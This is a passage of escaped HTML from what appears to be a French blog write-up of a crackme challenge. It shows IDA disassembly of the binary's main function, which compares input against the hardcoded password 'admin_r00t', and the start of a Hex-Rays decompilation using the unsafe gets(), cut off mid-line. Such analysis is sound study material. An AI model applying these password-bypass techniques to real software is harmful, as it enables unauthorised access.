9&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jle&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A0D&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+206Ch]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [eax]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; test&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AA9&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0B0h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0B0h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0F9h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aSS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;%s %s\n&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+8], ebx&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AF0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048AA9:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+4], offset s2 ; &quot;admin_r00t&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+124h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s1&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _strcmp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; test&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jnz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AEB&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+112h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS_0 ; &quot;%s :)\n&quot;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 45h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AF0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048AEB:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 45h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;loc_8048AF0:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, 2074h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; edi&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, ebp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; ebp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; retn&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;main&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; endp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Verdana,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; Dans cet extrait du code assembleur , ces fonctions semblent etre celles qui nous intéressent&amp;nbsp; , a partir de la on réalise un désassemblage qui donne :&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1DlvMQrOFxVOVJREQ9mdbM_xdzOO8kblPCRrId92Jzo3OpB8EUWXWk_436GmaSp2HTiYBDU8PFMvbqFifIEM9ego1NE0ZgAoKY__uZ1-ihbQ4gK9HSLuwkmRQsqdg6nEM414DgF81pkL/s1600/secu_by_def_bin1.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1DlvMQrOFxVOVJREQ9mdbM_xdzOO8kblPCRrId92Jzo3OpB8EUWXWk_436GmaSp2HTiYBDU8PFMvbqFifIEM9ego1NE0ZgAoKY__uZ1-ihbQ4gK9HSLuwkmRQsqdg6nEM414DgF81pkL/s400/secu_by_def_bin1.png&quot; width=&quot;327&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;J&#39;ai ensuite étudié l&#39;algo un peu plus en profondeur via un dump C d&#39;Hexrays qui s&#39;avéra trés&amp;nbsp; instructif quand au fonctionnement ducrackme.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp;&lt;b style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt; &lt;span style=&quot;color: red;&quot;&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br style=&quot;color: red;&quot; /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;\n--- Welcome to &#39;%s&#39; systems.\n&quot;, v0);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; v1 = tor(&amp;amp;v34);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;%s&quot;, v1);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; gets(&amp;amp;v70);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; v2 = 